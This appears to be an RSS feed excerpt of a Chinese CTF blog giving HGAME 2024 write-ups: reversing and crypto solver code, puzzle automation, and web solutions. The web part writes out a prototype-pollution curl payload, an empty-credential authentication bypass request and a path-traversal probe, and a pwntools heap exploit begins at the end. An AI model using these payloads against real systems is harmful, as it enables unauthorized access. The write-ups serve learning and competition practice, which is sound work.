 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

uint8_t key[] = {0x7, 0x77, 0xd3, 0x1c, 0x30, 0xeb, 0xda, 0x44, 0x34, 0xca, 0x3d, 0x9a, 0x5, 0x99, 0xc8, 0xc1, 0x53, 0x1e, 0xa9, 0xf8, 0x75, 0x27, 0x83, 0xa8, 0x28, 0x5b, 0x76, 0xb8, 0x88, 0x1f, 0x94, 0xa, 0x2d, 0xe1, 0x74, 0xd2, 0xf, 0xaa, 0xb9, 0xe, 0x1, 0x3a, 0xab, 0x58, 0xd9, 0xdb, 0x43, 0xbc, 0x64, 0x1a, 0x11, 0xd, 0x4d, 0xef, 0x65, 0x7d, 0x72, 0xcd, 0xa7, 0x4c, 0xf1, 0x2e, 0xcb, 0xa6, 0x87, 0x80, 0xac, 0x37, 0xc, 0x50, 0x47, 0xc9, 0xd8, 0xbf, 0x19, 0x2a, 0xf6, 0x82, 0xff, 0x1b, 0x66, 0x39, 0x22, 0x36, 0xf9, 0xee, 0x23, 0x56, 0x6d, 0xb, 0xfa, 0x3b, 0xcf, 0xd7, 0x9f, 0x33, 0xe5, 0x85, 0xde, 0xc0, 0xe6, 0x8e, 0x78, 0x3, 0xcc, 0xa0, 0x9d, 0x6, 0x9b, 0x45, 0x96, 0xe9, 0xb3, 0x8c, 0xdc, 0x95, 0x2, 0x14, 0x90, 0x61, 0xaf, 0x42, 0x2f, 0x3e, 0x81, 0x8b, 0xd4, 0xc6, 0x51, 0x17, 0x4, 0x4f, 0xe4, 0xfe, 0xc4, 0x5f, 0x52, 0x7f, 0xa3, 0xb6, 0x6f, 0x24, 0xea, 0x3f, 0x0, 0xf7, 0xad, 0x2b, 0x29, 0xfb, 0xae, 0x79, 0xc2, 0x7a, 0x4b, 0x31, 0x71, 0x9, 0x69, 0xe2, 0x8, 0xf5, 0xe7, 0x35, 0x5c, 0xd6, 0x6c, 0xe8, 0x4e, 0xc3, 0x7c, 0xdd, 0xec, 0x15, 0xb5, 0x6e, 0xc7, 0xd5, 0xb0, 0x2c, 0x68, 0x5e, 0x59, 0x84, 0x5a, 0x40, 0x1d, 0xa1, 0xa5, 0x5d, 0x91, 0xe3, 0x49, 0x6a, 0xfc, 0xed, 0x57, 0x54, 0x92, 0x10, 0x67, 0xfd, 0x8a, 0x70, 0x98, 0x46, 0xc5, 0x12, 0x41, 0x8f, 0xe0, 0x13, 0xa2, 0x62, 0xd0, 0xa4, 0x18, 0xb7, 0x73, 0xf0, 0xce, 0x7e, 0x20, 0xf3, 0xbd, 0x9c, 0xdf, 0x86, 0xf4, 0x97, 0xb2, 0x55, 0xf2, 0x63, 0x89, 0xbb, 0x25, 0x7b, 0xbe, 0x38, 0x9e, 0x8d, 0xb4, 0x48, 0x4a, 0x16, 0x93, 0xba, 0x60, 0x3c, 0xb1, 0xd1, 0x21, 0x6b, 0x32, 0x26};

unsigned char enc[] =
{
      0x50, 0x42, 0x38, 0x4D, 0x4C, 0x54, 0x90, 0x6F, 0xFE, 0x6F,
        0xBC, 0x69, 0xB9, 0x22, 0x7C, 0x16, 0x8F, 0x44, 0x38, 0x4A,
          0xEF, 0x37, 0x43, 0xC0, 0xA2, 0xB6, 0x34, 0x2C, 0x00
};

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    uint8_t sum = 0;
    for( int i = 0; i &amp;lt; sizeof(enc); i ++ ) {
        uint8_t p = key[ i + 1 ];
        sum += p;
        uint8_t q = key[sum];
        uint8_t res = key[ (uint8_t)(p + q) ];
        std::swap( key[ i + 1 ], key[sum] );
        enc[i] += res;
        printf( &quot;%c&quot;, enc[i] );
    }

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;encrypt&lt;/h3&gt;
&lt;p&gt;基本上就是普通的 windows api 调用，找到 iv 和 enc 后直接扔给 cyberchef 就行，甚至不需要自己写代码。&lt;/p&gt;
&lt;h3&gt;crackme&lt;/h3&gt;
&lt;p&gt;打开一看明显缺少东西和明显的异常处理。&lt;/p&gt;
&lt;p&gt;看起来异常是无条件触发的，直接 jmp 到一起就能看出是个魔改的 xtea。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
 * tmp.cpp 2024-02-20
 * de
 * Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
 *
 * 「Two roads diverged in a wood,and I—
 * I took the one less traveled by,
 * And that has made all the difference.」
 *
 * Distributed under terms of the GNU GNU AGPLv3+ license.
 */

#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdint&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;cstdlib&amp;gt;

#include &amp;lt;vector&amp;gt;
#include &amp;lt;algorithm&amp;gt;

using i32 = int32_t;
using u32 = uint32_t;
using ci32 = const int32_t;
using cu32 = const uint32_t;

using i64 = int64_t;
using u64 = uint64_t;
using ci64 = const int64_t;
using cu64 = const uint64_t;

inline bool isdigit( const char cur ) { return cur &amp;gt;= &apos;0&apos; &amp;amp;&amp;amp; cur &amp;lt;= &apos;9&apos;; }/*{{{*/
template &amp;lt;class T&amp;gt;
T Max( T a, T b ) { return a &amp;gt; b? a: b; }
template &amp;lt;class T&amp;gt;
T Min( T a, T b ) { return a &amp;lt; b? a: b; }
template &amp;lt;class T&amp;gt;
void chk_Max( T &amp;amp;a, T b ) { if( b &amp;gt; a ) a = b; }
template &amp;lt;class T&amp;gt;
void chk_Min( T &amp;amp;a, T b ) { if( b &amp;lt; a ) a = b; }
template &amp;lt;typename T&amp;gt;
T read() {
    T sum = 0, fl = 1;
    char ch = getchar();
    for (; isdigit(ch) == 0; ch = getchar())
        if (ch == &apos;-&apos;) fl = -1;
    for (; isdigit(ch); ch = getchar()) sum = sum * 10 + ch - &apos;0&apos;;
    return sum * fl;
}
template &amp;lt;class T&amp;gt;
T pow( T a, i32 p ) {
    T res = 1;
    while( p ) {
        if( p &amp;amp; 1 )
            res = res * a;
        a = a * a;
        p &amp;gt;&amp;gt;= 1;
    }
    return res;
}/*}}}*/

int32_t res[10];

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x33221155, sum=0;
    for (i=0; i &amp;lt; num_rounds; i++) {
        sum ^= delta;
        v1 -= (((v0 &amp;lt;&amp;lt; 5) ^ (v0 &amp;gt;&amp;gt; 6)) + v0) ^ (sum + key[(sum&amp;gt;&amp;gt;11) &amp;amp; 3]);
        v0 -= (((v1 &amp;lt;&amp;lt; 4) ^ (v1 &amp;gt;&amp;gt; 5)) + v1) ^ (sum + key[sum &amp;amp; 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main() {
#ifdef woshiluo
    freopen( &quot;tmp.in&quot;, &quot;r&quot;, stdin );
    freopen( &quot;tmp.out&quot;, &quot;w&quot;, stdout );
#endif

    res[0] = 855388650;
    res[1] = -262770878;
    res[2] = -117067598;
    res[3] = 1598378430;
    res[4] = -79758149;
    res[5] = 1802165040;
    res[6] = 75733113;
    res[7] = 792951007;

    uint32_t key[] = { 1234, 2345, 3456, 4567 };
    decipher( 32, (uint32_t*)(res) + 6, key );
    decipher( 32, (uint32_t*)(res) + 4, key );
    decipher( 32, (uint32_t*)(res) + 2, key );
    decipher( 32, (uint32_t*)(res), key );

    char *p = (char*)res;
    for( int i = 0; i &amp;lt; 32; i ++ )
        printf( &quot;%c&quot;, p[i] );

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;h3&gt;Zero Link&lt;/h3&gt;
&lt;p&gt;写过 gorm 的应该都踩过坑，你在 query 的时候加一个空字符串进去的结果往往是他会行忽略掉他。&lt;/p&gt;
&lt;p&gt;尽管页面限制了 token 和 username 不能同时为空，但是后端没限制。&lt;/p&gt;
&lt;p&gt;直接请求两个空串上去即可拿到 admin 密码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://139.196.183.57:30907/api/user&apos; -X POST -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://139.196.183.57:32185/&apos; -H &apos;Content-Type: application/json&apos; -H &apos;Origin: http://139.196.183.57:32185&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: my-webvpn-session-id-c0a4f3f6-0db2-4058-9ef4-5991f2b5d542=s%3AmokfX7bSPGYbSFhPrCRKO6P6HLWiHW-J.R4dytjfoRgMs41Va1iHRxw%2FqRB2Kv1YDjUQiRZo06xU; my-webvpn-session-id-1b4c7d0e-8205-472e-9b45-ce9bbfe935ce=s%3AwvRyG9uifKGUKrR1J6HZhCZxSpcLcpCZ.xkIrt3WqyXaeRa%2F2pDHnAHugpW1%2Fds5oIUedOrxfp5M; my-webvpn-session-id-47421071-1c83-4592-be94-84d0cd00b963=s%3ABADoSlG_VRQrCwzLJU-sCTm2evNeJ0he.HR5fRxIBWiR1lreTfkO6OFaRhqAgr3DlAu2uZu5QM9I&apos; --data-raw &apos;{&quot;username&quot;:&quot;&quot;,&quot;token&quot;: &quot;&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有了权限之后我们就能够访问 backdoor 了。&lt;/p&gt;
&lt;p&gt;构建一个 zip 软链接到 /app，然后覆写 /app/srcert 即可。&lt;/p&gt;
&lt;h3&gt;WebVPN&lt;/h3&gt;
&lt;p&gt;注意到代码里深拷贝 ban 了直接访问原型链。&lt;/p&gt;
&lt;p&gt;但是显然原型链的访问方式不止一种，直接污染即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl &apos;http://139.196.183.57:30154/user/info&apos; -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Referer: http://139.196.183.57:30154/home&apos; -H &apos;Cookie: my-webvpn-session-id-c0a4f3f6-0db2-4058-9ef4-5991f2b5d542=s%3AmokfX7bSPGYbSFhPrCRKO6P6HLWiHW-J.R4dytjfoRgMs41Va1iHRxw%2FqRB2Kv1YDjUQiRZo06xU; my-webvpn-session-id-1b4c7d0e-8205-472e-9b45-ce9bbfe935ce=s%3AwvRyG9uifKGUKrR1J6HZhCZxSpcLcpCZ.xkIrt3WqyXaeRa%2F2pDHnAHugpW1%2Fds5oIUedOrxfp5M; my-webvpn-session-id-47421071-1c83-4592-be94-84d0cd00b963=s%3ABADoSlG_VRQrCwzLJU-sCTm2evNeJ0he.HR5fRxIBWiR1lreTfkO6OFaRhqAgr3DlAu2uZu5QM9I&apos; -H &apos;Upgrade-Insecure-Requests: 1&apos; -H &apos;Content-Type: application/json&apos; --data &apos;{&quot;constructor&quot;: { &quot;prototype&quot;: { &quot;127.0.0.1&quot;: true } } }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;污染完就可以访问要求的页面了。&lt;/p&gt;
&lt;h3&gt;VidarBox&lt;/h3&gt;
&lt;p&gt;出 网。&lt;/p&gt;
&lt;p&gt;源码上看起来似乎很完美，有 xml 但是好像 ban 了外部引用，有任意文件访问，但是没有回显，看起来也只能访问服务器上的。&lt;/p&gt;
&lt;p&gt;但是不要慌，可以看看能穿越出啥。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -vv &quot;http://139.196.183.57:31120/backdoor?fname=../../..//ip:port/2&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现报错不是 not found，而是 connection refused，而且 stack 里面有很多 ftp 相关的组件。&lt;/p&gt;
&lt;p&gt;尝试在对应服务器上搭建 ftp，发现可以访问到 ftp 上的文件。&lt;/p&gt;
&lt;p&gt;下一个问题是外部实体的禁止。我们可以混合编码，header 用 utf8，内容用 utf16。于是 Java 的文本匹配就失效了。&lt;/p&gt;
&lt;p&gt;接下来就是普通的 xml 漏洞了。&lt;/p&gt;
</content:encoded><category>ctf</category><author>woshiluo</author></item><item><title>HGAME 2024 Week2 WriteUP</title><link>https://blog.woshiluo.com/posts/2024/02/hgame-week2-writeup/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/02/hgame-week2-writeup/</guid><pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Written by woshiluo.&lt;/p&gt;
&lt;p&gt;给官方怎么交的我交原模原样发过来了，如有错误烦请各位大佬斧正。&lt;/p&gt;
&lt;h2&gt;Crypto&lt;/h2&gt;
&lt;h3&gt;babyRSA&lt;/h3&gt;
&lt;p&gt;一般来说 e 不会太大，考虑枚举质数，很快就能求得 e。&lt;/p&gt;
&lt;p&gt;注意到 e 和 $\varphi(n)$ 不互质，故逆元不存在。&lt;/p&gt;
&lt;p&gt;注意到 $\varphi(q)$ 和 $e$ 互质。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;故可求得 $m&apos; = c^d \equiv m \pmod q$&lt;/p&gt;
&lt;p&gt;而 $m$ 显然为 $m&apos; + kq$，枚举即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

from Crypto.Util.number import *
import gmpy2

e=73561
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=10500213872246694649593663865603821400004347575163902508525511396508874927246 \
1906892586616250264922348192496597986452786281151156436229574065193965422841
gift=9751789326354522940

# n=e
# while True:
#     if n == 1:
#         n = 2
#     else:
#         n = gmpy2.next_prime(n)
#
#     if pow(n+114514, 0x10001, p) == gift:
#         print(n)
#         break
#
#     print( str(n) + &quot;Failed&quot; )
# e = e + p + p
c %= q
if pow( e + 114514, 0x10001, p ) == gift:
    print(&quot;ok&quot;)
n=p**4*q
phi = ( p**4 - p**3 ) * ( q - 1 )
d = gmpy2.invert( e, q - 1 )
res=pow(c,d,q)
while True:
    print(long_to_bytes(res))
    res += q
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;backpack&lt;/h3&gt;
&lt;p&gt;折半搜索&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;
from Crypto.Util.number import *
import random
import hashlib
a=[74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
bag=1202548196826013899006527314947

# list={}
# for mask in range(1 &amp;lt;&amp;lt; 24):
#     sum=0
#     for j in range(24):
#         if mask &amp;amp; ( 1 &amp;lt;&amp;lt; j ) != 0:
#             sum += a[j]
#
#     if bag &amp;gt;= sum:
#         list[ bag - sum ] = 1;
#     if mask % ( 1 &amp;lt;&amp;lt; 20 ) == 0:
#         print(mask)
#
# for mask in range(1 &amp;lt;&amp;lt; 24):
#     sum=0
#     for j in range(24):
#         if mask &amp;amp; ( 1 &amp;lt;&amp;lt; j ) != 0:
#             sum += a[j + 24]
#
#     if sum in list:
#         print(mask)
#         break
#     if mask % ( 1 &amp;lt;&amp;lt; 20 ) == 0:
#         print(mask)
# mask=16002385
# sum=0
# for j in range(24):
#     if mask &amp;amp; ( 1 &amp;lt;&amp;lt; j ) != 0:
#         sum += a[j+24]
#
# print(bag-sum)

#less=512995993953354134765273583739
#for mask in range(1 &amp;lt;&amp;lt; 24):
#    sum=0
#    for j in range(24):
#        if mask &amp;amp; ( 1 &amp;lt;&amp;lt; j ) != 0:
#            sum += a[j]
#
#    if less == sum:
#        print(mask)
#

mask1=5009697
mask2=16002385
mask=mask2&amp;lt;&amp;lt;24|mask1
flag=&apos;hgame{&apos;+hashlib.sha256(str(mask).encode()).hexdigest()+&apos;}&apos;
print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;midRSA&lt;/h3&gt;
&lt;p&gt;m 高位已知。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def phase2(high_m, n, c):
    R.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n), implementation=&apos;NTL&apos;)
    m = high_m + x
    M = m((m^e - c).small_roots()[0])
    print(hex(int(M))[2:])

high_m = m0

phase2(high_m, n, c)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;奇怪的图片plus&lt;/h3&gt;
&lt;p&gt;题目要求，两张图加密，经过缩放后只在指定点位为不同。&lt;/p&gt;
&lt;p&gt;注意到比较时用的是 ECB 加密，故每一块的加密结果是独立的。&lt;/p&gt;
&lt;p&gt;那么就可以构造在指定部位相同的两张图片。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new(&apos;RGB&apos;, (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack(&apos;BBB&apos;, bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack(&apos;BBB&apos;, *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

# 16*9
def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError(&quot;Images must have the same dimensions&quot;)
    xor_image = Image.new(&quot;RGB&quot;, image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image

width=16*16
height=9
p=Image.open(&apos;./target.png&apos;)
p=image_to_bytes(p)

res=[]
for i in range(len(p)):
    for j in range(16):
     res += p[i].to_bytes()

img1=bytes_to_image(res,width,height)
img1.save(&apos;1.png&apos;)

q=0
res=[]
for i in range(len(p)):
    for j in range(16):
     res += q.to_bytes()

img2=bytes_to_image(res,width,height)
img2.save(&apos;2.png&apos;)

image_1=image_to_bytes(img1)
image_2=image_to_bytes(img2)
image_1_w=width
image_1_h=height
image_2_w=width
image_2_h=height

F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)
image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)
xor_image = xor_images(image_1_encrypted, image_2_encrypted)
xor_image = xor_image.resize((16, 9), Image.NEAREST)
xor_image.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后 client 端的加密是 CBC，除了 key 我们还需要 iv。&lt;/p&gt;
&lt;p&gt;直接套用给定的 encrypted_flag.png 得到 iv，解密即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack(&apos;BBB&apos;, *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes

def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new(&apos;RGB&apos;, (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack(&apos;BBB&apos;, bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

img=image_to_bytes(Image.open(&apos;./encrypted_flag.png&apos;))

print(os.urandom(16))
# for i in range(65536):
key = 0x8693346e81fa05d8817fd2550455cdf6
iv = AES.new(key=key.to_bytes(16), mode=AES.MODE_ECB).decrypt(img[:16])
F = AES.new(key=key.to_bytes(16), mode=AES.MODE_OFB, iv=iv)
c = F.decrypt(img)

p=bytes_to_image(c,200,150)
pixels = p.load()
p.save(&apos;4.png&apos;)
for x in range(200):
    for y in range(150):
        if pixels[x, y] != (0,0,0):
            pixels[x, y] = (255,255,255)

p.save(&apos;3.png&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;h3&gt;我要成为华容道高手&lt;/h3&gt;
&lt;p&gt;注意到 js 没有怎么混淆。&lt;/p&gt;
&lt;p&gt;随便拖段代码到搜索引擎，找到 https://github.com/conwnet/huarongdao。&lt;/p&gt;
&lt;p&gt;注意到 &lt;a href=&quot;https://raw.githubusercontent.com/conwnet/huarongdao/master/src/core.js&quot;&gt;src/core.js&lt;/a&gt; ，给定了 &lt;code&gt;getSolve&lt;/code&gt; 函数。&lt;/p&gt;
&lt;p&gt;直接调用即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /bin/sh
#
# tmp.sh
# Copyright (C) 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.
#

while true; do
    data=`curl &apos;http://47.100.137.175:31777/api/newgame&apos; -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://47.100.137.175:30431/&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77&apos;`
    x=`echo $data | jq .gameId`
    layout=`echo $data | jq .layout`
    layout=`echo $layout | cut -d\&quot; -f2`

    echo $x
    echo $layout

    ans=`node core.js $layout`
    echo $ans &amp;gt; tmp

    data=`curl &quot;http://47.100.137.175:31777/api/submit/${x}&quot; -X POST -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://47.100.137.175:30431/&apos; -H &apos;Content-Type: application/json&apos; -H &apos;Origin: http://47.100.137.175:30431&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77&apos; --data @tmp`

    while true; do
        layout=`echo $data | jq .game_stage.layout`
        layout=`echo $layout | cut -d\&quot; -f2`
        echo $layout
        ans=`node core.js $layout`
        echo $ans &amp;gt; tmp
        data=`curl &quot;http://47.100.137.175:31777/api/submit/${x}&quot; -X POST -H &apos;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:122.0) Gecko/20100101 Firefox/122.0&apos; -H &apos;Accept: */*&apos; -H &apos;Accept-Language: en,zh;q=0.7,ja;q=0.3&apos; -H &apos;Accept-Encoding: gzip, deflate&apos; -H &apos;Referer: http://47.100.137.175:30431/&apos; -H &apos;Content-Type: application/json&apos; -H &apos;Origin: http://47.100.137.175:30431&apos; -H &apos;DNT: 1&apos; -H &apos;Connection: keep-alive&apos; -H &apos;Cookie: PHPSESSID=c6c1f02178dc352e5d278ba4e272ed77&apos; --data @tmp`
        echo $data
    done
    break
done
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ek1ng_want_girlfriend&lt;/h3&gt;
&lt;p&gt;拖进 wireshark，就一个 http stream。&lt;/p&gt;
&lt;p&gt;文件拖下来就有了。&lt;/p&gt;
&lt;h3&gt;ezWord&lt;/h3&gt;
&lt;p&gt;直接解压。&lt;/p&gt;
&lt;p&gt;两张图片是盲水印。&lt;/p&gt;
&lt;p&gt;解压，spam 隐写。&lt;/p&gt;
&lt;p&gt;再解密就是一串不明所以的古文状物品。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;过一遍 iconv 转 gb18030，大概就能看出 flag 了。&lt;/p&gt;
&lt;p&gt;直接交。&lt;/p&gt;
&lt;h3&gt;龙之舞&lt;/h3&gt;
&lt;p&gt;deepsound 隐写，密码在波形图里。&lt;/p&gt;
&lt;p&gt;解出来后拼二维码，扫不出来。&lt;/p&gt;
&lt;p&gt;手动爆破一下掩码。&lt;/p&gt;
&lt;p&gt;得到 flag。&lt;/p&gt;
&lt;h2&gt;PWN&lt;/h2&gt;
&lt;h3&gt;Elden Ring Ⅱ&lt;/h3&gt;
&lt;p&gt;UAF。由于是 tcache，还能随意覆写，基本上是任意写了。&lt;/p&gt;
&lt;p&gt;先干进 unsorted bin 得到 libc，然后写 malloc_hook。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#! /usr/bin/env python3
# vim:fenc=utf-8
#
# Copyright © 2024 Woshiluo Luo &amp;lt;woshiluo.luo@outlook.com&amp;gt;
#
# Distributed under terms of the GNU AGPLv3+ license.

&quot;&quot;&quot;

&quot;&quot;&quot;

from pwn import *
# from ctypes import *

# so = CDLL(&quot;./libc.so.6&quot;)
vuln = ELF(&apos;./vuln&apos;)
libc = ELF(&apos;./libc.so.6&apos;)
# puts_plt = vuln.plt[&apos;puts&apos;]
